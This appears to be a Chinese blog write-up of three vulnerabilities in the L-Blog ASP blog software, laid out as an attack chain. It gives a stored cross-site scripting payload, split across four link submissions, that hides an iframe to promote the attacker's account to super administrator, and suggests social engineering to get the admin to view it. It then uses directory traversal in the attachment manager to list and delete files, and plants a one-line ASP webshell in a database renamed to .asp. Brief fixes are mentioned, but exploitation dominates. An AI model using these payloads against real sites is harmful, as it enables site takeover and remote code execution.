L-Blog是由 Loveyuki 自主開發的基于 ASP+Access 的小型單用戶BLOG,好像網上用的比較多,主要是免費的(呵呵,向Loveyuki致敬)。昨天寢室斷網了,閑著沒事干,就把以前下載的L-Blog V1.08 (SE) Final版本拿來看,結果還真發現了幾個問題。
1、L-Blog Cross-Site Scripting Vulnerability
這是個跨站漏洞,好像HaK_BaN很早就發現并通知了官方,所以問題已經修復。但是我下的那個版本卻存在,所以還是要寫出來J
問題存在于申請友情鏈接那里,對提交的網站名稱沒有進行HTML編碼就直接寫入數據庫,管理員瀏覽讀出的時候也沒有進行編碼,造成跨站腳本漏洞。
怎么利用呢,盜管理員Cookies?太麻煩,其實可以直接用javascript把頁面轉向到提升一般用戶為超級管理員的鏈接。
呵呵,那就注冊個帳號先,然后記住帳號的id,然后構造語句咯。
先看看把一般用戶提升成超級管理員的鏈接,http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,嗯我們可以提交<script>location.href=” admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin”</script>達到轉向的目的。參數memID就是你要提升權限的用戶id,這里我的id是2。
且慢,這里有兩個問題,第一是數據庫Blog_links表里的Link_Name字段最多放50個字符;第二是如果轉向管理員會發現不對勁哦。所以要用拆分字符分次提交,而且使用框架讓管理員看不到。
算了一下,至少要分四次提交,看exploit:
<script>a="<iframe src=admincp.asp?actio"</script>
<script>a+="n=member&type=editmem&memID="</script>
<script>a+="2&memType=SupAdmin width="</script>
<script>a+="0 height=0>";document.write(a);</script>
呵呵,然后就等著管理員去看鏈接驗證咯。要是等不及了可以想辦法讓他去看,看你的社會工程學水平了。
漏洞修補問題,最簡單就是去官方下補丁。
2、L-Blog File List / Delete with SuperAdmin Vulnerability
通過前面的漏洞我們可以成為blog管理員,現在我們得想辦法拿webshell啊。呵呵,這個時候用這個漏洞最好不過了。好像還沒人公布的說。
在附件管理選瀏覽all_files里的文件,看它的URL:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=All_Files,嘿嘿問題就出在參數foldername,沒有過濾.和/,那就可以跨目錄的哦。用這個url看看http://localhost/L-Blog/admincp.asp?action=attachment&foldername=..,呵呵,怎么樣,blog根目錄文件出來了,可以隨便刪除文件的哦。
利用這個漏洞我們可以任意查看網站各目錄的文件,不過你要猜到文件夾才能瀏覽,L-Blog的數據庫放在blogdata下,看看咯:http://localhost/L-Blog/admincp.asp?action=attachment&foldername=../blogdata
如果它的數據庫是mdb,那就下載之,如果改成了asp/asa,那就請你看第三個漏洞哈。
這個漏洞的修復就是修改文件admincp.asp,只要把變量Request.QueryString("filename")里的“.”過濾就行了。
3、L-Blog .asp/.asa DataBase Execute ASP Code Vulnerability
L-Blog的默認數據庫名字是L-Blog.mdb,但是很多站長應該會改名稱和后綴,一般改為asp或者asa,呵呵,如果改了,那站就完咯。
L-Blog.mdb里面有一個貌似防下載的表aNotDownload,其實一點用都沒有,就算你改了后綴照樣可下載。當然不去下載它,我是要拿webshell。
現在就要向數據庫寫小馬咯。
隨便找個沒有過濾html編碼的地方,就找修改一般設置,Blog名稱,填<%execute(request("x"))%>,然后再訪問數據庫,看看是不是有類型不匹配錯誤,ok,搞定!
漏洞的修復也簡單,隨便找個動網的數據庫,找到notdown表導出到L-Blog的數據庫中,呵呵,然后你再訪問數據庫試試。世界清靜了……